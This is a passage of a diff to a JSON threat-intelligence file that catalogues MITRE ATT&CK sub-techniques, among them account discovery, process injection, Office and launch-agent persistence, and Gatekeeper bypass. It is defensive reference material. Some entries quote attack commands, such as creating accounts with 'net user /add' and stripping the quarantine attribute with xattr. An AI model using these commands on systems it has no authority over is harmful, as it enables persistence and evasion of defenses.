obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)", + "meta": { + "external_id": "T1087.003", + "kill_chain": [ + "mitre-attack:discovery" + ], + "mitre_data_sources": [ + "Office 365 account logs", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows", + "Office 365" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1087/003", + "https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019", + "https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist", + "https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/" + ] + }, + "related": [ + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "type": "subtechnique-of" + } + ], + "uuid": "4bc31b94-045b-4752-8920-aebaebdb6470", + "value": "Email Account - T1087.003" + }, + { + "description": "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ", + "meta": { + "external_id": "T1078.003", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:persistence", + "mitre-attack:privilege-escalation", + "mitre-attack:initial-access" + ], + "mitre_data_sources": [ + "Authentication logs" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1078/003" + ] + }, + "related": [ + { + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "type": "subtechnique-of" + } + ], + "uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2", + "value": "Local Accounts - T1078.003" + }, + { + "description": "Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.\n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.", + "meta": { + "external_id": "T1059.004", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "macOS", + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1059/004", + "https://linux.die.net/man/1/bash", + "https://support.apple.com/HT208050" + ] + }, + "related": [ + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "type": "subtechnique-of" + } + ], + "uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", + "value": "Unix Shell - T1059.004" + }, + { + "description": "Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.", + "meta": { + "external_id": "T1078.004", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:persistence", + "mitre-attack:privilege-escalation", + "mitre-attack:initial-access" + ], + "mitre_data_sources": [ + "Azure activity logs", + "Authentication logs", + "AWS CloudTrail logs", + "Stackdriver logs" + ], + "mitre_platforms": [ + "AWS", + "GCP", + "Azure", + "SaaS", + "Azure AD", + "Office 365" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1078/004", + "https://aws.amazon.com/identity/federation/", + "https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction", + "https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs" + ] + }, + "related": [ + { + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "type": "subtechnique-of" + } + ], + "uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", + "value": "Cloud Accounts - T1078.004" + }, + { + "description": "Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider of SaaS application.\n\nWith authenticated access there are several tools that can be used to find accounts. The Get-MsolRoleMember PowerShell cmdlet can be used to obtain account names given a role or permissions group.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance)\n\nAzure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command az ad user list will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) ", + "meta": { + "external_id": "T1087.004", + "kill_chain": [ + "mitre-attack:discovery" + ], + "mitre_data_sources": [ + "Azure activity logs", + "Office 365 account logs", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "AWS", + "GCP", + "Azure", + "Office 365", + "Azure AD", + "SaaS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1087/004", + "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0", + "https://github.com/True-Demon/raindance", + "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest", + "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/" + ] + }, + "related": [ + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "type": "subtechnique-of" + } + ], + "uuid": "8f104855-e5b7-4077-b1f5-bc3103b41abe", + "value": "Cloud Account - T1087.004" + }, + { + "description": "Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Office applications.(Citation: Microsoft VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript/JScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads.", + "meta": { + "external_id": "T1059.005", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "DLL monitoring", + "Loaded DLLs", + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1059/005", + "https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/", + "https://docs.microsoft.com/dotnet/visual-basic/", + "https://docs.microsoft.com/office/vba/api/overview/", + "https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)" + ] + }, + "related": [ + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "type": "subtechnique-of" + } + ], + "uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "value": "Visual Basic - T1059.005" + }, + { + "description": "Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes’ stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes’ memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [LD_PRELOAD](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. ", + "meta": { + "external_id": "T1055.009", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1055/009", + "http://hick.org/code/skape/papers/needle.txt", + "https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html", + "http://man7.org/linux/man-pages/man1/dd.1.html" + ] + }, + "related": [ + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "type": "subtechnique-of" + } + ], + "uuid": "d201d4cc-214d-4a74-a1ba-b3fa09fd4591", + "value": "Proc Memory - T1055.009" + }, + { + "description": "Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.", + "meta": { + "external_id": "T1132.001", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Packet capture", + "Process use of network", + "Process monitoring", + "Network protocol analysis" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1132/001", + "https://en.wikipedia.org/wiki/Binary-to-text_encoding", + "https://en.wikipedia.org/wiki/Character_encoding", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "related": [ + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "type": "subtechnique-of" + } + ], + "uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", + "value": "Standard Encoding - T1132.001" + }, + { + "description": "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", + "meta": { + "external_id": "T1136.001", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Authentication logs", + "Windows event logs" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1136/001", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720" + ] + }, + "related": [ + { + "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "type": "subtechnique-of" + } + ], + "uuid": "635cbe30-392d-4e27-978e-66774357c762", + "value": "Local Account - T1136.001" + }, + { + "description": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)", + "meta": { + "external_id": "T1491.001", + "kill_chain": [ + "mitre-attack:impact" + ], + "mitre_data_sources": [ + "Web logs", + "Web application firewall logs", + "Packet capture" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1491/001", + "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", + "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + ] + }, + "related": [ + { + "dest-uuid": "5909f20f-3c39-4795-be06-ef1ea40d350b", + "type": "subtechnique-of" + } + ], + "uuid": "8c41090b-aa47-4331-986b-8c9a51a91103", + "value": "Internal Defacement - T1491.001" + }, + { + "description": "Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.", + "meta": { + "external_id": "T1218.002", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Windows Registry", + "DLL monitoring", + "Binary file metadata", + "API monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1218/002", + "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx", + "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/", + "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + ] + }, + "related": [ + { + "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", + "type": "subtechnique-of" + } + ], + "uuid": "4ff5d6a8-c062-4c68-a778-36fc5edd564f", + "value": "Control Panel - T1218.002" + }, + { + "description": "Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", + "meta": { + "external_id": "T1136.002", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Authentication logs", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1136/002", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720" + ] + }, + "related": [ + { + "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "type": "subtechnique-of" + } + ], + "uuid": "7610cada-1499-41a4-b3dd-46467b68d177", + "value": "Domain Account - T1136.002" + }, + { + "description": "Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)\n\nThere exist user and global Registry keys for the Office Test feature:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.", + "meta": { + "external_id": "T1137.002", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "DLL monitoring", + "Loaded DLLs", + "Process monitoring", + "Process command-line parameters", + "File monitoring", + "Windows Registry" + ], + "mitre_platforms": [ + "Windows", + "Office 365" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1137/002", + "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/", + "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/" + ] + }, + "related": [ + { + "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "type": "subtechnique-of" + } + ], + "uuid": "ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a", + "value": "Office Test - T1137.002" + }, + { + "description": "Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.", + "meta": { + "external_id": "CAPEC-532", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "EFI", + "BIOS", + "API monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1542/001", + "https://capec.mitre.org/data/definitions/532.html", + "https://en.wikipedia.org/wiki/BIOS", + "https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface", + "http://www.uefi.org/about", + "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research", + "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about", + "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/", + "https://github.com/chipsec/chipsec", + "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html" + ] + }, + "related": [ + { + "dest-uuid": "7f0ca133-88c4-40c6-a62f-b3083a7fbc2e", + "type": "subtechnique-of" + } + ], + "uuid": "16ab6452-c3c1-497c-a47d-206018ca1ada", + "value": "System Firmware - T1542.001" + }, + { + "description": "An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)", + "meta": { + "external_id": "T1491.002", + "kill_chain": [ + "mitre-attack:impact" + ], + "mitre_data_sources": [ + "Web logs", + "Web application firewall logs", + "Packet capture" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "AWS", + "GCP", + "Azure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1491/002", + "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf", + "https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf", + "https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/", + "https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf" + ] + }, + "related": [ + { + "dest-uuid": "5909f20f-3c39-4795-be06-ef1ea40d350b", + "type": "subtechnique-of" + } + ], + "uuid": "0cfe31a7-81fc-472c-bc45-e2808d1066a3", + "value": "External Defacement - T1491.002" + }, + { + "description": "Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Endgame Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. ", + "meta": { + "external_id": "T1055.012", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Process monitoring", + "API monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1055/012", + "http://www.autosectools.com/process-hollowing.pdf", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + ] + }, + "related": [ + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "type": "subtechnique-of" + } + ], + "uuid": "b200542e-e877-4395-875b-cf1a44537ca4", + "value": "Process Hollowing - T1055.012" + }, + { + "description": "Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)\n\nAdversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.", + "meta": { + "external_id": "T1136.003", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Office 365 audit logs", + "Stackdriver logs", + "Azure activity logs", + "AWS CloudTrail logs" + ], + "mitre_platforms": [ + "AWS", + "GCP", + "Azure", + "Office 365", + "Azure AD" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1136/003", + "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide", + "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d", + "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html", + "https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554", + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory" + ] + }, + "related": [ + { + "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "type": "subtechnique-of" + } + ], + "uuid": "a009cb25-4801-4116-9105-80a91cf15c1b", + "value": "Cloud Account - T1136.003" + }, + { + "description": "Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOnce malicious forms have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)", + "meta": { + "external_id": "T1137.003", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Mail server", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows", + "Office 365" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1137/003", + "https://sensepost.com/blog/2017/outlook-forms-and-shells/", + "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack", + "https://github.com/sensepost/notruler" + ] + }, + "related": [ + { + "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "type": "subtechnique-of" + } + ], + "uuid": "a9e2cea0-c805-4bf8-9e31-f5f0513a3634", + "value": "Outlook Forms - T1137.003" + }, + { + "description": "Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).", + "meta": { + "external_id": "T1543.001", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1543/001", + "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", + "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", + "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", + "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", + "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf", + "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update" + ] + }, + "related": [ + { + "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", + "type": "subtechnique-of" + } + ], + "uuid": "d10cbd34-42e3-45c0-84d2-535a09849584", + "value": "Launch Agent - T1543.001" + }, + { + "description": "Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls. In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)", + "meta": { + "external_id": "T1553.001", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1553/001", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/", + "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update", + "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/" + ] + }, + "related": [ + { + "dest-uuid": "b83e166d-13d7-4b52-8677-dff90c548fd7", + "type": "subtechnique-of" + } + ], + "uuid": "31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e", + "value": "Gatekeeper Bypass - T1553.001" + }, + { + "description": "Adversaries may inject malicious code into process via process doppelgänging in order to evade 